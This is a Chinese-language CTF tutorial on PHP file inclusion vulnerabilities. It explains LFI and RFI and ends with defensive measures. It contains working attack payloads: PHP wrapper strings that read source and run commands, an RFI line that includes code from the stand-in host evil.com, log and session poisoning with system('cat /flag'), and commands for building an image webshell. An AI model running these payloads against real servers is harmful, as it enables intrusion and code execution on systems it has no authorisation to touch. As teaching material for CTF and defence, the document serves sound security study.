一、漏洞原理
文件包含漏洞(File Inclusion)是指 Web 应用在包含文件时,未对用户输入的文件路径做充分过滤,导致攻击者可以包含任意文件,从而读取源码、执行任意代码、甚至控制服务器。
核心成因:应用中使用了动态文件包含函数,且参数用户可控,未做白名单限制。
与文件读取漏洞的区别:
- 文件读取:仅读取文件内容(如
file_get_contents()),不能执行 PHP 代码 - 文件包含:会将文件作为代码执行(如
include()),即使文件是.jpg后缀,只要内容有<?php ... ?>也会被执行
常见危险函数(PHP)
| 函数 | 说明 | 特点 |
|---|---|---|
include() |
包含并执行文件,文件不存在时产生警告但继续执行 | 漏洞利用首选 |
require() |
包含并执行文件,文件不存在时产生致命错误并停止 | 同 include |
include_once() |
同 include,但同一文件只包含一次 | 限制重复包含 |
require_once() |
同 require,但同一文件只包含一次 | 限制重复包含 |
典型脆弱代码
php
<?php
$file = $_GET['page'];
include($file . ".php");
?>
访问 ?page=index 会包含 index.php,但如果访问 ?page=../../../etc/passwd 就可能读取系统文件。
二、文件包含的分类
2.1 本地文件包含(LFI,Local File Inclusion)
只能包含服务器本地的文件。利用方式:
- 读取系统文件(
/etc/passwd、/flag) - 读取源码(使用
php://filter) - 包含日志文件或 session 文件(Getshell)
- 包含
/proc/self/environ等
2.2 远程文件包含(RFI,Remote File Inclusion)
可以包含远程服务器上的文件,直接 getshell。需要 allow_url_include = On(PHP 5.2 后默认关闭,现已少见)。
利用方式:
- 在自己的 VPS 上放置恶意 PHP 文件,直接包含
?page=http://evil.com/shell.txt,服务端执行 shell.txt 中的 PHP 代码
注意:现代 PHP 默认关闭远程包含,CTF 中 RFI 较少见,除非题目明确提示。
三、PHP 伪协议利用(LFI 核心技能)
PHP 提供了一系列伪协议,可在文件包含中发挥巨大作用。这些是 CTF 中文件包含题目的核心考点。
3.1 php://filter(读取源码)
功能:对文件内容进行过滤后再输出,常用于读取源码而不执行。
语法:
php://filter/read=convert.base64-encode/resource=文件名
CTF 用途:
- 读取 PHP 源码(Base64 编码后返回,防止被服务器执行)
- 读取
/flag等非 PHP 文件
示例:
?page=php://filter/convert.base64-encode/resource=index
?page=php://filter/convert.base64-encode/resource=/flag
绕过固定后缀 :当后端代码 include($file . ".php") 强制添加 .php 后缀时,使用 php://filter 不需要指定后缀,且 resource= 指向的文件名不受后缀影响,可直接读取 /flag 原始内容。
读取其他文件:
?page=php://filter/convert.base64-encode/resource=../etc/passwd
3.2 php://input(POST 传递代码)
功能:读取 POST 请求体中的原始数据并执行。
条件 :allow_url_include = On
利用方式 :
URL: ?page=php://input
POST Body: <?php system('cat /flag');?>
使用场景 :无法写入文件,但 allow_url_include=On 时,直接通过 POST 传递代码。
注意 :php://input 不能读取 multipart/form-data 的数据,需要用 application/x-www-form-urlencoded 或 raw data。
3.3 data://(数据流协议)
功能:直接在 URL 中嵌入数据,作为文件内容执行。
条件 :allow_url_include = On
语法:
data://text/plain,<?php system('cat /flag');?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==
示例:
?page=data://text/plain,<?php phpinfo();?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==
注意 :Base64 后的内容不需要 <?php ?> 包裹也可以,但通常加上更完整。
3.4 file://(文件系统协议)
功能:直接访问本地文件系统。
语法:
file:///etc/passwd
file:///var/www/html/flag.php
特点:类似于直接路径穿越,但在某些过滤场景下可能绕过 WAF。
3.5 zip:// 和 phar://(压缩包协议)
功能:直接访问压缩包内的文件,常用于配合文件上传漏洞。
条件 :需要服务器上存在可控的压缩文件(如已上传的 .zip、.phar 文件)。
利用方式:
-
制作一个包含 PHP 代码的压缩包(如
shell.zip,里面有shell.php) -
上传该压缩包(绕过上传检测)
-
通过文件包含执行压缩包内的脚本:
?page=phar://uploads/shell.zip/shell
?page=zip://uploads/shell.zip%23shell
(%23 是 # 的 URL 编码,zip 协议中用 # 分隔压缩包路径和内部文件名)
注意 :phar:// 不需要 allow_url_include=On,是 LFI 的本地协议,非常实用。
3.6 expect://(命令执行)
功能:执行系统命令。
条件 :PHP 安装了 expect 扩展(极少见)。
语法:
?page=expect://whoami
?page=expect://cat /flag
3.7 各协议对比总结
| 协议 | 条件 | 用途 | CTF 常见度 |
|---|---|---|---|
php://filter |
无需特殊权限 | 读取源码/base64 | ★★★★★ |
php://input |
allow_url_include=On |
执行任意代码 | ★★★★ |
data:// |
allow_url_include=On |
执行任意代码 | ★★★★ |
file:// |
无需特殊权限 | 读取文件 | ★★★ |
zip:// / phar:// |
需上传压缩包 | 解压并执行 | ★★★ |
expect:// |
需安装 expect 扩展 | 命令执行 | ★ |
四、绕过固定后缀的技巧
许多题目会强制添加后缀,如:
include($_GET['page'] . ".php");
include($_GET['page'] . ".html");
4.1 使用 php://filter(最佳方案)
php://filter 伪协议本身不需要后缀,且 resource= 后面的路径不受追加后缀影响(部分版本)。适用于直接读任意文件。
?page=php://filter/convert.base64-encode/resource=/flag
4.2 %00 截断(旧版 PHP < 5.3.4)
条件 :magic_quotes_gpc = Off
?page=../../../etc/passwd%00
%00 是空字节,C 语言处理字符串时遇到空字节就会截断,后面的 .php 被忽略。
4.3 路径长度截断(旧版 PHP < 5.2.8)
PHP 对路径有长度限制(通常 4096 字符)。传入超长路径时,追加的后缀会被截断。
?page=../../../etc/passwd/./././././... (重复很多次)
4.4 点号截断(Windows 环境)
Windows 文件系统会自动去掉文件名末尾的点号和空格。
?page=../../../etc/passwd.......
?page=../../../etc/passwd%20
4.5 利用 zip/phar 协议
include($_GET['page'] . ".php");
如果传入 ?page=phar://uploads/shell.zip/shell,实际拼接为 phar://uploads/shell.zip/shell.php,但 phar:// 协议只取 # 或外部指定文件名,所以仍可执行。
五、Session 文件包含(LFI Getshell 重要方法)
当 allow_url_include=Off,且没有文件上传点可利用时,Session 文件包含是经典手法。
5.1 原理
PHP Session 默认存储在 /tmp/sess_<PHPSESSID> 文件中。如果我们可以控制 Session 的内容(例如通过用户名注册或登录时写入),并且在 Session 文件中插入了 PHP 代码,就可以通过文件包含漏洞包含 Session 文件来执行代码。
5.2 利用步骤
-
找到 Session 存储路径:
- 常见路径:
/tmp/sess_xxx(Linux)、/var/lib/php/session/sess_xxx - 可通过
phpinfo()查看session.save_path - 或读取配置文件
- 常见路径:
-
在 Session 中写入 PHP 代码:
- 在登录/注册页面的任意可控字段(如用户名)中写入
<?php system('cat /flag');?> - 发起请求,设置 Cookie 为
PHPSESSID=xxx
- 在登录/注册页面的任意可控字段(如用户名)中写入
-
包含 Session 文件:
?page=/tmp/sess_xxx -
代码执行,拿到 Flag。
六、日志文件包含(LFI Getshell 另一重要方法)
6.1 原理
Web 服务器的访问日志会记录每个 HTTP 请求的 URL 和 User-Agent。如果在 User-Agent 或 URL 中插入 PHP 代码,这些代码会被写入日志文件。再通过文件包含漏洞包含日志文件,即可执行代码。
6.2 利用步骤
-
确定日志文件路径:
- Apache:
/var/log/apache2/access.log或/var/log/httpd/access_log - Nginx:
/var/log/nginx/access.log - 可通过读取配置文件确认
- Apache:
-
在请求中插入 PHP 代码 :
使用 Burp Suite 抓包,修改 User-Agent 为:
<?php system('cat /flag');?>或直接访问:
/<?php system('cat /flag');?> -
包含日志文件:
?page=/var/log/apache2/access.log -
日志文件中的 PHP 代码被执行,拿到 Flag。
注意 :日志文件通常较大,可能导致页面加载缓慢。可先用 php://filter 读取日志确认注入成功,或用精确的路径穿越避免超时。
6.3 SSH 日志包含
如果 Web 服务器也运行 SSH,可以尝试:
- SSH 连接服务器,在用户名中输入
<?php system('cat /flag');?> - 认证失败后,该用户名会记录在
/var/log/auth.log - 包含该日志文件执行代码
条件 :/var/log/auth.log 对 Web 用户可读(通常不可读,需要特定权限配置)。
七、其他利用技巧
7.1 /proc 伪文件系统(Linux)
/proc/self/environ:当前进程的环境变量,可能包含敏感信息/proc/self/fd/[0-9]*:当前进程打开的文件描述符,可能包含日志、临时文件等/proc/self/cmdline:当前进程的命令行参数
7.2 包含图片马
结合文件上传漏洞,上传包含 PHP 代码的图片(图片马),再通过文件包含漏洞包含该图片:
?page=uploads/shell.jpg
图片马中即使有图片二进制数据,只要其中包含 <?php ... ?>,PHP 解析器就会忽略非 PHP 代码部分,执行其中的 PHP 代码。
制作图片马:
copy /b normal.jpg + shell.php payload.jpg
cat normal.jpg shell.php > payload.jpg
7.3 包含临时文件(条件竞争)
PHP 上传文件时,会先保存为临时文件 /tmp/phpXXXXXX,在脚本执行结束后删除。如果能在文件被删除前通过文件包含执行它,就可以 Getshell。
利用方法:多线程并发包含可能的临时文件名,同时不停上传文件,存在竞争窗口。
八、CTF 实战示例:从 LFI 到 Getshell
题目描述 :一个网站,URL 为 ?page=home,显示不同页面。存在文件包含漏洞。目标:获取 /flag。
步骤:
-
漏洞确认
尝试
?page=../../../../etc/passwd,返回系统用户文件,确认存在 LFI。 -
判断 PHP 与读取源码
使用
php://filter读取首页源码:?page=php://filter/convert.base64-encode/resource=index返回 Base64,解码后得到
index.php源码。发现代码为<?php include($_GET['page'] . ".php"); ?>确认后缀为
.php,需要绕过。 -
尝试直接读 Flag
?page=php://filter/convert.base64-encode/resource=/flag成功返回 Base64,解码得到 Flag。题目结束。
如果 Flag 不是独立文件,而是存在数据库中,则需要进一步 Getshell。
-
若需 Getshell(RFI/伪协议不可用时)
尝试日志包含:
- 访问
http://target.com/<?php system('cat /flag');?>(URL 中注入代码) - 包含日志:
?page=../../../../var/log/apache2/access.log - 成功执行,拿到 Flag。
- 访问
-
若日志不可读,尝试 Session 包含:
- 在登录框的用户名处输入
<?=system('cat /flag');?> - 获取 Cookie 中的 PHPSESSID
- 包含 Session 文件:
?page=../../../../tmp/sess_xxxx - 代码执行,拿到 Flag。
- 在登录框的用户名处输入
-
若所有方法都失败,尝试
/proc/self/environ:?page=../../../../proc/self/environ查看环境变量,可能直接暴露 Flag。
九、常见防御措施
-
白名单限制 :这是最安全的防御。使用
switch或数组映射,仅允许包含预定义文件:$pages = ['home' => 'home.php', 'about' => 'about.php']; if (isset($pages[$_GET['page']])) { include($pages[$_GET['page']]); } -
过滤危险字符 :过滤
../、..\、php://等,但容易被绕过,不推荐作为唯一防御。 -
禁用危险函数 :
disable_functions禁用system、exec等,即使 getshell 也无法执行系统命令。 -
限制
allow_url_include:设置为Off,阻止远程文件包含和php://input、data://等。 -
设置
open_basedir:限制 PHP 可访问的文件目录,防止穿越到系统目录。 -
日志文件权限控制:Web 用户不应有读取系统日志的权限。
-
禁用不必要的伪协议:高版本 PHP 默认已关闭大部分危险协议。
十、总结
- 文件包含漏洞的核心是将用户输入作为代码执行,危害远大于普通文件读取。
- CTF 中 LFI 的核心武器是 PHP 伪协议 ,尤其是
php://filter读源码和php://input/data://执行代码。 - 当伪协议不可用时,日志包含 和 Session 包含是经典的 Getshell 手法。
- 绕过固定后缀有多种方法,
php://filter是最优雅的解决方案。 - 防御必须以白名单为主,伪协议禁用、目录限制和权限控制为辅。